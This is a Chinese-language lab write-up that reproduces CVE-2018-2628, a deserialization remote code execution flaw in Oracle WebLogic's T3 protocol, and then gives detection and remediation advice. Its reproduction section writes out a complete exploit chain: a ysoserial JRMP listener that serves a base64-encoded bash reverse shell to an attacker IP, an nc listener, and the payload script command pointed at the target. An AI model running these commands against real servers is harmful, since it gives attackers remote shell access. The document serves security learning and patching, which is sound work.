Weblogic命令执行漏洞(CVE-2018-2628)复现
字数 1495 2025-08-10 17:51:51

Weblogic命令执行漏洞(CVE-2018-2628)复现与分析

1. 漏洞概述

1.1 漏洞描述

CVE-2018-2628是Oracle WebLogic Server中的一个远程代码执行漏洞,攻击者可以通过T3协议发送恶意的序列化数据,利用反序列化漏洞实现对存在漏洞的WebLogic组件的远程代码执行攻击。

1.2 漏洞原理

  • T3协议特性:WebLogic私有的协议,相比JRMP协议增加了:
    • 服务端持续追踪客户端存活状态(心跳机制,默认60秒间隔)
    • 超过240秒未收到心跳判定连接丢失
    • 优化数据包大小和网络消耗,可一次性传输全部数据包
  • 攻击方式:通过T3协议与WebLogic通信,实现WebLogic RMI调用过程,远程加载恶意类

1.3 受影响版本

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3

1.4 漏洞详情

  • 漏洞名称:Weblogic远程命令执行漏洞
  • 漏洞编号:CVE-2018-2628
  • 危害等级:高危
  • CVSS评分:10
  • 漏洞类型:RCE(远程代码执行)

2. 环境搭建

2.1 所需工具

  • 操作系统:Kali Linux (2023)
  • 漏洞利用脚本:CVE-2018-2628
  • 反序列化工具:ysoserial-0.0.6-SNAPSHOT-all.jar
  • 环境搭建:Docker

2.2 靶机环境

使用Vulhub提供的Docker环境:

cd /home/kali/vulhub/weblogic/CVE-2018-2628
sudo docker-compose up -d

3. 漏洞复现步骤

3.1 服务端开启监听

  1. 使用ysoserial工具启动JRMP Server:
cd /home/kali/tools/java-unserialize/ysoserial/target/
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener <监听端口> <jdk版本> <要执行的命令>
  1. 示例(反弹shell):
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5678 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"

其中YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC83Nzc3IDA+JjE=bash -i >& /dev/tcp/10.9.46.170/7777 0>&1的base64编码

3.2 开启nc监听

nc -lvnp 7777

3.3 执行payload攻击

cd /home/kali/tools/java-unserialize/ysoserial/target/
python2 payload.py <靶机ip> <靶机端口> ysoserial-0.0.6-SNAPSHOT-all.jar <攻击机ip> <监听端口> JRMPClient

示例:

python2 payload.py 10.9.46.170 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 10.9.46.170 5678 JRMPClient

3.4 文件写入验证

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5678 CommonsCollections1 "touch /tmp/ajest"

4. 检测方法

使用nmap快速检测:

nmap -sV --script=weblogic-t3-info.nse -p 7001 <目标IP>

5. 修复建议

5.1 临时修复方案

控制T3服务访问权限

  1. 进入WebLogic控制台
  2. 在base_domain的配置页面中,进入"安全"选项卡
  3. 点击"筛选器",进入连接筛选器配置
  4. 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl
  5. 在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s
    • 表示t3和t3s协议的所有端口只允许本地访问
  6. 保存后需重新启动使规则生效

5.2 官方补丁

  • 下载并安装Oracle官方发布的最新补丁
  • 升级JDK至1.7.0.21以上版本

5.3 代码修改方案(适用于10.3.6.0)

  1. weblogic.utils.io.oif.WebLogicFilterConfig的黑名单DEFAULT_BLACKLIST_CLASS中添加java.rmi.server.RemoteObjectInvocationHandler
  2. 编译并更新swlclient.jarwlthint3client.jar这两个用到该类的包

6. 总结

  • T3协议通常开放在内网,外网较少见
  • WebLogic采用黑名单方式进行反序列化漏洞修复,存在被绕过的风险
  • 控制T3服务是防护WebLogic RMI这类反序列化漏洞的有效方式
  • 推荐优先采用官方补丁,其次考虑控制T3服务访问权限
Weblogic命令执行漏洞(CVE-2018-2628)复现与分析 1. 漏洞概述 1.1 漏洞描述 CVE-2018-2628是Oracle WebLogic Server中的一个远程代码执行漏洞,攻击者可以通过T3协议发送恶意的序列化数据,利用反序列化漏洞实现对存在漏洞的WebLogic组件的远程代码执行攻击。 1.2 漏洞原理 T3协议特性 :WebLogic私有的协议,相比JRMP协议增加了: 服务端持续追踪客户端存活状态(心跳机制,默认60秒间隔) 超过240秒未收到心跳判定连接丢失 优化数据包大小和网络消耗,可一次性传输全部数据包 攻击方式 :通过T3协议与WebLogic通信,实现WebLogic RMI调用过程,远程加载恶意类 1.3 受影响版本 Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2.1.3 1.4 漏洞详情 漏洞名称:Weblogic远程命令执行漏洞 漏洞编号:CVE-2018-2628 危害等级:高危 CVSS评分:10 漏洞类型:RCE(远程代码执行) 2. 环境搭建 2.1 所需工具 操作系统:Kali Linux (2023) 漏洞利用脚本:CVE-2018-2628 反序列化工具:ysoserial-0.0.6-SNAPSHOT-all.jar 环境搭建:Docker 2.2 靶机环境 使用Vulhub提供的Docker环境: 3. 漏洞复现步骤 3.1 服务端开启监听 使用ysoserial工具启动JRMP Server: 示例(反弹shell): 其中 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC83Nzc3IDA+JjE= 是 bash -i >& /dev/tcp/10.9.46.170/7777 0>&1 的base64编码 3.2 开启nc监听 3.3 执行payload攻击 示例: 3.4 文件写入验证 4. 检测方法 使用nmap快速检测: 5. 修复建议 5.1 临时修复方案 控制T3服务访问权限 : 进入WebLogic控制台 在base_ domain的配置页面中,进入"安全"选项卡 点击"筛选器",进入连接筛选器配置 在连接筛选器中输入: weblogic.security.net.ConnectionFilterImpl 在连接筛选器规则中输入: 127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s 表示t3和t3s协议的所有端口只允许本地访问 保存后需重新启动使规则生效 5.2 官方补丁 下载并安装Oracle官方发布的最新补丁 升级JDK至1.7.0.21以上版本 5.3 代码修改方案(适用于10.3.6.0) 在 weblogic.utils.io.oif.WebLogicFilterConfig 的黑名单 DEFAULT_BLACKLIST_CLASS 中添加 java.rmi.server.RemoteObjectInvocationHandler 编译并更新 swlclient.jar 和 wlthint3client.jar 这两个用到该类的包 6. 总结 T3协议通常开放在内网,外网较少见 WebLogic采用黑名单方式进行反序列化漏洞修复,存在被绕过的风险 控制T3服务是防护WebLogic RMI这类反序列化漏洞的有效方式 推荐优先采用官方补丁,其次考虑控制T3服务访问权限